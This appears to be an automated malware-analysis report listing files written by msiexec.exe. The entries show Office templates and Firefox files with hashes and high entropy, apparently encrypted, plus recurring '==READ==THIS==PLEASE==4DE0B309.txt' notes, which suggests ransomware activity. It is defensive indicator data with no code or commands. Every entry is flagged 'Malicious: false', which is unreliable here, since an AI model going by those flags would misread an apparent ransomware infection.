MD5:	DB73F2CAEBF61006E36BAB39C6684C71
SHA1:	392F1F6FBD2F2B0C2976B5537852C099B982A35B
SHA-256:	9FA28B63BAEE924707C86E856EE0A174A4BBD5970739F797EB416979514309A3
SHA-512:	AC9E5756F5F58D1C6C89E6608FC223A9F0FDDC37B584283766DBD4EE89DD9E97489D31A158CAFE00EF311F5F84FCF0DC62621EB5E258BFAD02A7E6C32FCB0070
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\Recommending A Strategy.pot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.681224580009043
Encrypted:	false
MD5:	1C0EBDABE4A851953C1D2AAC1C60DEF9
SHA1:	8C13931465D0717191102C984343DE89B4191227
SHA-256:	66CFA05A5A5BA1E97C59216B41184D00B3A9CD6CBB2048120338C0776AED0999
SHA-512:	FB446AB5CDAEA39F98A510C669E07638A0153D24816D6EC31FCB2DFAC2083D96182D04AA87FB1CD28A92F89CC4C17F14A34C278F46AD810D1CEAED42164E491D
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\Reporting Progress or Status.pot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.704673821363084
Encrypted:	false
MD5:	3AF3C2AE4B9B0D6A8C6A12CD7F280C88
SHA1:	B3D973E31E8C9A71C081344AC1AA01692A29DCA3
SHA-256:	8AF6B16F2E20E3276C8B5E7DABD8C447986D74210F1D55C45DDFB2CC7716AB42
SHA-512:	D7DF2C74365EE19373DC189F077C903BB183D4E6BB235CF07C1A3404F69C0E438B4EBD555D0EBA9FE90C248D9EC16F0E81C9E68E7C95AC7BDA1B5CEED17C92E3
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\Resource Scheduling.mdz
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.712131199200679
Encrypted:	false
MD5:	5966D5D2D389CFBD01712E03D0A506E9
SHA1:	574AA440C9C1A1EBD5CC7296128F5031036BCD01
SHA-256:	260167093717E255CB7B07B4229FD01B980D1AD6C6E5338C7A063400D1D87080
SHA-512:	BAD8133D9469D3F57A35541BA3E2D86AA14D11A2D1C192A7B8E1ACFC2E3E0C1F02C5EFFE0B533070BE853915F49E1C167695B01F1C121C08AF112C8D1E7DCD06
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\Resume Wizard.wiz
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.682980678055362
Encrypted:	false
MD5:	BDB0AC1818A80221D37C9F47A118325F
SHA1:	B4EFB76F4098D76782ED4355E446FAB7BBDABB56
SHA-256:	C57C07AC6F33E276AAA41BF3CC13D24E39E0CDF91B3E2FF801A1B49B57351101
SHA-512:	6DFA0D19F2CC145F6FCC88F03306978A5394A8488AFCD2E6DC0559213D82C7E85401068877A26FA369515617A90A6B4F3DD7B2C122348673544E5697ED18E267
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\Selling a Product or Service.pot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.717408835273151
Encrypted:	false
MD5:	8C2BD28C5B9256605429C98B07780C11
SHA1:	6C19C323E25D8BD59643E9678FE23C443C8D14E5
SHA-256:	3FFE0E651F0CC6111DD40539B9A41FF48DDA999FAA8359953CDE760499D5A51D
SHA-512:	DE497F361A987D106468D3E10D876B93E9B6D24723483D9190BC4C139A951BDCC668D1B3436C312CEE76E968F510B945951A243CC97D14AADC6EF79D036E18EF
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\Service Call Management.mdz
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.68128042648316
Encrypted:	false
MD5:	7659631CD1020114A3F5581F3195579D
SHA1:	2F0BB109598F6D2A841BB959725A4D5F98F844F2
SHA-256:	5F60FBA4A26634332DA9680F9A7DB2E74ABE3FBB2A423CA9E8E5838ADA7C3858
SHA-512:	52E7472D17141C4B9FF61FF4D583898A19FDED3F6AC3D3069742DA85AC44A4644F547BD0C73B4F848B0088A69AA5564889CDF1636C40C14536A88FD7BB8DB419
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\Time and Billing.mdz
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.678038660007282
Encrypted:	false
MD5:	712A4505A63F3E070B8D0D800E629C08
SHA1:	B00929EF82A4A33C8275DAE8E7FA251C641772AB
SHA-256:	21C6D8386D3515124FFEE90E52DB283A0E20B182A97F6D8EEF125161DA4640C4
SHA-512:	3F4C8C3B1FEBFCDFE47C746E8FE312B944593E34DB0B119944680D66FAE091F3DD994487D69BA91F6A3EBEBCEE77C39564C49C0847D16188B74D66E56566F132
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\expenses.mdz
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.714825659856855
Encrypted:	false
MD5:	59E28B19E91E610A54A833796064BF19
SHA1:	9B3904DB2B7402E1DCE89975B008AF6746C72AEF
SHA-256:	8BC379B06BB82649CA455164F5C897B427F1D56D1C88FF9C5D2535F65637117B
SHA-512:	85167C22D23858434166E582FAFE2A9BB656A72EC47B1C73D7AA52840DAD8C4643FF9818A35B519ED600C188E26F060B57A1D64AC28A6949C7D08C07892B8457
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\1033\ledger.mdz
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.697499500657794
Encrypted:	false
MD5:	5109E9AAF2DD0EEECBF1395AD18D7F78
SHA1:	BB12D6564281A74724C21239F5884021698BF558
SHA-256:	00B9D6E7367D3D03FD89D41D0825D093ED868B8C7788DF37A737F959956F6004
SHA-512:	19CE6785F10B66886624F69B628BE8FC1BDB42751AD4F3E797949098421865F54CC03A0F1BD936EA563A90A8BD1EAE186B8377C2F99227299B5F6FCA1CA911D4
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\Presentation Designs\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\Presentation Designs\Balance.pot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.688032880324756
Encrypted:	false
MD5:	7862896147A6390E228D07B31BFDDEE9
SHA1:	1DD58BC59A5EA767B73CE0F00F0830BF1C2B3C6C
SHA-256:	73A8F631545E8A0877BA9D335FC5190D3C2FE2C9D775CEFEDEE02C0FC2317388
SHA-512:	14ECA4D78C366A5B151FBEF3FC8B212E8FF9B6A21C7AD5C8F89DBACE48DBB2E08AF97192A2185935505F5BA6D0DE0DEBB4B91533E703CD570ACB6B77DB60138E
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\Presentation Designs\Blends.pot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.7278920767949195
Encrypted:	false
MD5:	355CB07257C8DE0407EFFECFEE0AD372
SHA1:	36B18BB22E7AB0009668848FFE736B7ED92AFB8D
SHA-256:	7B826BB5819A1F42913BD40767DE64CB49BBFDE62D7C7CE0C8A2ED874583D28C
SHA-512:	5F0D03916D9FE23804B1EA5296DBA2F6296B3E1FE37431CE29B3D6E21C3AEFA739FB29E02F7861470D73935CE08054A89842CA2F9C132D30125A43F8A0511DCB
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\Presentation Designs\Capsules.pot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.706972602524346
Encrypted:	false
MD5:	F5602B4438D2CB9371805ABE7D5782E8
SHA1:	0A253883F5290BF813EED2FAC97468331BD3ADEC
SHA-256:	E34795E052DA2B873442E55EA1E3E6B27736BA355D4EC47D545E0FDD47109D04
SHA-512:	80A42EFA71B3B78560C1E522D1B389744A71B67A138883C293FED87A292DE6231DF5ED5A4C356BFF0CD46630A2E7D87C7DF46D4D3B78F3895D6C4F813EEDF476
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\Presentation Designs\Compass.pot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.666427762711439
Encrypted:	false
MD5:	1C3B64D79C8E67AB0CF027515286146B
SHA1:	4F07BD85C617522538B987DA34A8F43A689456DA
SHA-256:	7FDC882BA8F3B5E95F4AE2FB219270CCB8D96C867C50B05773C8B7DBB5789907
SHA-512:	2A3A1202922BBC4FF1AE298B90E723C058A86F08C839E54A7665E739592E55DD4FFB4E5EEB5FA568DA970B4E833FAC838C4C2BACA2235C6753D84669220B2776
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\Presentation Designs\Crayons.pot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.685463858624582
Encrypted:	false
MD5:	8C1D0745511EDB869CA7B927CE9928FE
SHA1:	6B67A4868DA4EAE2C86642C5C9770D1D2AA02ED6
SHA-256:	671E2AC247E991EE0FAB2E1D7D3BE76CAC1B4E6794927B63D409971314AA48CC
SHA-512:	BD221945B68AC600E0798BC3AEAB5931AE5556B170FE93C256E3FFBB5695647D03645C6F7988070018319E12F4450AC409CBF042915F8B45C06BE4E3B49ED2BE
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\Presentation Designs\Curtain Call.pot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.696121138575885
Encrypted:	false
MD5:	C662F264F2B62902BA5EC55894026DDE
SHA1:	51AD43CA5CACF2FB3E67710DF6A78A6D80B9CF06
SHA-256:	BA2182AAEF41382E2CD7632D4E0A0FE3F04D2E737611D4DEB2D4AAB2A6BD0241
SHA-512:	4379F6AFA44A779D4035A97699667BD5BB02990629482AC0A1A0447164AEF87C946EA32F52061B2DE3600A1B8087D947FE8B6304D9CF4FCDC5D0EE64950FE2F6
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\Presentation Designs\Digital Dots.pot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.703910766882189
Encrypted:	false
MD5:	8F96E274B6A543727809DA4E99A86DE0
SHA1:	B4BCF6F8736D3265C02033E165096353791FF5F6
SHA-256:	0CC27C4AFD5FC58242B2180FB5D652F0BB9D5D6E2D1AC476C47269CCA21B2228
SHA-512:	D5D3B11F087262CF96D36409AF7311B91F09F14BF4F547A9BC787334E7EBCD200C574FE73496A146341B9D3E61484EB059C3D6586EB98A9799E6865313A27F40
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\Presentation Designs\Edge.pot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.682117034864513
Encrypted:	false
MD5:	4AAF8592FD85D577A24110EDEA1B1160
SHA1:	F955B825B604475D31160D2447D745CEC17FC829
SHA-256:	2D1C15B8351E3CE4BC703D342A83963BF54D02AE032255223C73D768A876D115
SHA-512:	A8BB22F11637DDAB3C5933ADAEA5D27EA668DE866B3FF4A35A6145F8F6A6D46B713E025AC90A7B2C6770660F34E2C412255FD21547E60C29A6145C83EFB76C2F
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\Presentation Designs\Fading Grid.pot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6552739609774285
Encrypted:	false
MD5:	054ED8DD8397B79E639AADB5249D8D71
SHA1:	3EF49627A1287611A9798B71BCAF2933ADC664A5
SHA-256:	81A89ED0AA26E2038D44A53F0DB63724736C6CF6F641965349628F03F13D0581
SHA-512:	6EB0BD6A4334A9B537506D4AC6F2DDD67DECD16C25D2F23300EAB0081729AFA4B87181BDD54F11AE686F5E4720CF26CA5AE3CADDF9E2A3883E0212E30AC1A419
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\Presentation Designs\Fireworks.pot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.696875019804123
Encrypted:	false
MD5:	C3AE5A0430D8C34A68EB3FD9FCA90A11
SHA1:	E9F3CDAE4AC3B81AEC2F98E59110E9EC998F9105
SHA-256:	11C39C7001869D817139DEE4CADB572D24443E24975DDCB6EC5343A86D0A4E5D
SHA-512:	E4A790B5EF8F1EB01176FD09EE666C54E161740E5FD007489EDF69F44C70BBDCFE9B5520C4CDB5397FB0DABE16757E6A502404CCEE92067AC97DD49E5D494EB5
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\Presentation Designs\Glass Layers.pot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6476891137508884
Encrypted:	false
MD5:	8BE3A3A9D27BC562E8A3A59F691DC4E7
SHA1:	20FCDF0AB3762463B3495797C717EE6AFF746479
SHA-256:	0263D9B2386B5AD5E3C35BAD182DF8B79412807B1F9ADEFFDE7C3A7CF4410945
SHA-512:	1346BCEF25B4E8BD90B026A45AA70B04C9573501965476DA0B0EF7FD94B066E195AB5DB97C0F89BE8FDE95172E35F842E2DFCAF75EDC46982455A21618F57E2A
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\Presentation Designs\Globe.pot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.675575607532024
Encrypted:	false
MD5:	1FC43DCD4694DB4A16C3FBD248DA5A5F
SHA1:	A51BCAC40B078A95B22EC5E53EEE025F9CEBEB2D
SHA-256:	B166C2E62BABB8197E5A10181D9CBD240EC1F55CAFAF3CE2B53E3E3190EF33F2
SHA-512:	862924D079F2B1C1BC0C6513B0E5DBF13B07F232BE4986F9EBC76C7089F0B9E124FB11A052030F558D8CF7D6D07BF9859821B1328DAB2B83C0EB49B1D76D958A
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\Presentation Designs\Kimono.pot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.69018381042526
Encrypted:	false
MD5:	6371BE568BD66FFE8237EBDFBC71AD1D
SHA1:	0BF691FB6EEEF3A53B2BD5F1963AF58B31E44FF6
SHA-256:	8C46FC952E651361F502F0C645FAEDBFFE4D5317C027814BF21F8126671DAECB
SHA-512:	C6577AB2E555C7C7545A799EFA3BF2846EE3DC7221579368643FD2DBFEB5B8367AC90B4F328043CB4798F6ACFEA8B1AB558EC0714D2ADF4FC1201FFD9AA1051C
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\Presentation Designs\Maple.pot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.694134226211526
Encrypted:	false
MD5:	8AF872BE7760989F252D0B9EFF3B970D
SHA1:	58D420A6EDF1BA0A083CEA45546D179479EC16F3
SHA-256:	086B36A91CCD50A4E676906785576351397C8E6CD524821431A899F4A07FBAC6
SHA-512:	ABB049444EB8F587E7101EC22AACBC8B23B054EF13912027CEC142F072B00AEE878F3028333A8C6FCC29FB3A178E967AAB2F40E99DE3FAA7D1F7A207DB7F26CD
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\Presentation Designs\Mountain Top.pot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.674551232187026
Encrypted:	false
MD5:	54963ED3E15E8CC50D87B0E30B5491C3
SHA1:	C5C837FF73BE9674C7D0F4869180733B15805388
SHA-256:	12259F54F69D6CC578D77E4BE77C4642EB15AD3895694116F294A37CBC16A7C2
SHA-512:	1A5D0F79228B4191BF3D03C7CE2029FB03B3CA03248A091B10C3BE677B80AF7BFC6A13B3F5759EFEDB9E3DF7D48AD10700ECE39992D4D3F4AC54356FE91A86A8
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\Presentation Designs\Network.pot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.67623976818441
Encrypted:	false
MD5:	FD2ACB0F35C5F678FEEC068A38804E2E
SHA1:	536BDE2E9129F234EA9B75A1B2FFD7FB46EA37DE
SHA-256:	A0BA861F3DDA91492ADCE658CA9D3B22D86A479982E3BF9E8920F774EC0A07C7
SHA-512:	C581AB4ADC8CB1C554797BC3BBE294EEA7BF2F6F1BD3F306F3FC0CB22229C33981868BCEB1A8997D086568D69F07003EFB7C884EB2804FFCA4B3E98ED84A375D
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\Presentation Designs\Ocean.pot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.635424941410429
Encrypted:	false
MD5:	9707E6207FA9BD82813992B2F985B0A9
SHA1:	6C91F599F11328D2947227B822FE6394BF87C2BA
SHA-256:	657B510D7135041AAC9E859D5C51116A3D0E751FF00EE5D3ED127667986157CA
SHA-512:	F0B412345B177B31F4BF9A70AFA0972101F5CCFDD47E125BCEA348B4C88D5021DF1D1DC05C01659EEFE5354C376F1AC276FE6B6AC2C67BF599690E70650E184D
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\Presentation Designs\Pixel.pot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.665234901056054
Encrypted:	false
MD5:	D6861D2945B2A561AEF11D04264B75B2
SHA1:	82D1642D9A3C6128F351D5AA79A0154B288585D3
SHA-256:	71F42298FA32D30572BF941627A1A26480CF3E7EFB2C1DFAEB6D276523D8462E
SHA-512:	419A9981029DA14E7626482488E9DB1A92F20D35B45A9BADC537354EB995AECFBF1C7CC556B1C63F81BED2E074C0ABF57E1F490F997C88CFAF0B7814D492BFFB
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\Presentation Designs\Profile.pot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.682485003713375
Encrypted:	false
MD5:	03F751D1E53993132F9228C6E237CF2F
SHA1:	536B445E965C87947DFDA03A558F7268730A505D
SHA-256:	FAD50E3C813A5DD87E97B1901247CA491B9ECACC1BDE1907B233B1A1D355A0C4
SHA-512:	3E9B2D7C16EF67A3A307A98D296B101744CBD9FDE7416478483E362957BFAB5D2A231C132E567E41A87A827AB0F9A573251CFE6199EAA852A85D5B0E6A34EB05
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\Presentation Designs\Proposal.pot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.668461601875087
Encrypted:	false
MD5:	A0E99B4CBEFB7A3D80C6F71F0595936C
SHA1:	AEEE0928EEBBD846334794C2BE36D90296B25C6C
SHA-256:	5A34209A7F151B369C48B0E76F36B0F67FD25FBAF574B0C319A1976F9B8EFD6B
SHA-512:	200A52D91FB21C9C18D3C543CE6B1307F9ADCB2412B9F14C48D98DA88C3E13877770D4507CDF503EFFA98DF18DD14DAEA29F73152F347BC9E86EC59AFCE082FA
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\Presentation Designs\Slit.pot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.651434748457393
Encrypted:	false
MD5:	73BAEB31AF1C74263FA2189652CEF999
SHA1:	5C637722E8260BAAEC3B5763478F79D49DB574DD
SHA-256:	9712ADD51F74BF40B2F6E2FD3DE4BB1D8B52400E50AE188AF1F6405B7EBC5177
SHA-512:	BAF16F2EBD46760F0C163D1B4F73306E9C0030D9AB7358DCB2E30818D5D63F2D75B36D7F1E4EB8938547AD1E2640718CD93B942379B124D609C1A2403EFCD2CC
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\Presentation Designs\Stream.pot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.665498913639272
Encrypted:	false
MD5:	6AEDFBE0CF8D17A5B36159A11FE3B632
SHA1:	A4992485B1F47F912C88F754FCD1AEA12393F697
SHA-256:	8C807D0D1BCF74A6B05AFDC016519BB414C4E7CDA22946F966C3288EEC56F709
SHA-512:	BD0044E7603B2B9364CFF2B55444194554F21EE043D02B6DA902A13655384E13782CBD85A384615553621D6E948C1C22FE1B027443C1D55A07DB94A13E24FB8B
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\Presentation Designs\Textured.pot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.694173058569519
Encrypted:	false
MD5:	317B1D962D551F1B50BADF8CECEB02D9
SHA1:	FEAAEAE2B42AA809488FBCB95A085DABE2573710
SHA-256:	27164C883CFD8024476551C76684CC9F2931EE3FD29F3CD76C4D809731524F48
SHA-512:	DF3E81775A2C0C8997C64A0E16FC6BF14F4B11795E4BDE37912B4EEFDCF9028717C12E20DC6D7754DB15C83352AA4CA162A628F587D58179139005107BA3F09B
Malicious:	false

C:\Program Files (x86)\Microsoft Office\Templates\Presentation Designs\Watermark.pot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.654085567896281
Encrypted:	false
MD5:	2D1313673BF18DBE33D6B3F6410994F5
SHA1:	C18CD2B9B65C9AA1A1E6076FAF409AB08C392EC5
SHA-256:	1C390D440FBCF511C09F949583E4917F99205991FDB3C02AAC406A41440EF1D9
SHA-512:	2FC3C55E50CED10426E2A3733C7138EAB0BB3F6AD9E166F896347BA1FFBD528752F0E82A72660941BD9B611CFDBF9AEC19081838724A46EF2A1535C599485A77
Malicious:	false

C:\Program Files (x86)\Microsoft.NET\RedistList\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Program Files (x86)\Microsoft.NET\RedistList\AssemblyList_4_client.xml
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.632526529641539
Encrypted:	false
MD5:	09938EEA76B43F867A04E9F521F1C2DE
SHA1:	A208FD9D82A8618D1823AA3A0C1EAF987BACDBD6
SHA-256:	3F3DC900A1DCBB48526EF5637385C3278BC04DE19CB8AE86B31B1ABF80DCCD22
SHA-512:	FCC13B6A57BD87E596E82DA7FD8843EA6F209F1C64E4A3045FDC1E5ED95ACA8EE3D17181E3D2CC6EF894C7917D63E59CCF4C28E686AC47DB08678DC3FADA7C25
Malicious:	false

C:\Program Files (x86)\Microsoft.NET\RedistList\AssemblyList_4_extended.xml
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6479688033274975
Encrypted:	false
MD5:	C2012916B260D933C76C68F6534D32A1
SHA1:	49EF520E716F779B38EA54B531A8FFC01ED7E6B5
SHA-256:	5C9447CF339FC1D8C8A5E82079F64E1592CCC87AA6AE86BA3566A6F9CA125D80
SHA-512:	82DA2BD37A94C10AFCC8BFAFEEEE5D771235CEA008C47512F9668FD7178E3A5A3AC5877E1670CAD1791A389E14342F3E9128DF9ADA58B42F4F83FA7374DA23F4
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\application.ini
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.696755386545096
Encrypted:	false
MD5:	53E1A819C8DD47EEBCD85135FCE2FD03
SHA1:	419C301E17E6E8E7EA78B94E6289A2A5EB2E2FB6
SHA-256:	508F0404897B9D0CC9170D81AF686144463AD34B4008055E4BE22510D8FE4030
SHA-512:	CD8098A544458FEDC9474FEB9772FAC686CCD1932755C04B45A22BFE2D0DDC4CCD8118B6E83D6B94C28CB97243CF15FB09F352C57108F0ABBD86BAC3D6159AA0
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\browser\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\browser\blocklist.xml
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6727964887371165
Encrypted:	false
MD5:	5E3E836A000C38D3AF354126DA02346A
SHA1:	C93FF76ED97D8FB484CB1E1AD355B8C1AF591F77
SHA-256:	18FDC926F427289C6399C117D134D82ED504A7B54CDE42028E7D21E2F1950B50
SHA-512:	6F967D6C7722F109BCE5D7E26CB1E51B059D870D8F6B6C93A70B1BDD0BC857552151DAB2AB700C419C952109ABBCFE441EDEAA818F6222E9959D81FDD22989EA
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\browser\chrome.manifest
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.669324144047376
Encrypted:	false
MD5:	05DF2EA91E3A931050520E2A0CEA45B7
SHA1:	BF9D0EE9C9F3C81885F1DCEFB852EDB3832ED58B
SHA-256:	510EF0D9BEC4A5134A618E550F376E6EBC5D18FB800711E973F8255505E7A28A
SHA-512:	2D4A9E5F3ECC60C6059F08FF790C39F75209D7DDBB3F5E7EE7D04E281E394D63585BBC1D91AF6A7B164A5F507FA9F9205242DA29E325FA01F381BFA4F23013B0
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\browser\components\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\browser\components\components.manifest
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.653556866893283
Encrypted:	false
MD5:	3A97F74510DE6A0C3AD514403C5AD020
SHA1:	33DE7095EE53017D7372F2CE3FF34D19FB9609D3
SHA-256:	BC9B67A045D3735C16714F45480B7B642A7F4F3775AC5AD30314066513851D27
SHA-512:	ADF2D79BC568263A7010CA31483503897ED8C5CC517B87AD33F7C49A2743A36DD0F5386A2052C6CB831119D4F46498FFD2D1722CCDBA0723F8257CC66D38BAED
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\browser\crashreporter-override.ini
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.678261891773234
Encrypted:	false
MD5:	FF0F8C13A14B0A1E747A689A68988F95
SHA1:	6BAA5760A0263825B359B92F1346615C5E7C557E
SHA-256:	6B7CF4E74C7C2DE04E20E9390B2063DB2044230D065746A2F4F2197579334A25
SHA-512:	F8ED4C41BED782BFC502C2B2A2F91C4A785FF56FC0EF3B4A3D5FAD0B066EA32B99C2C80858A2A3F701F94F6008EC0C80601A44B796DE094B963A890D621EAFF9
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\browser\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd}\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
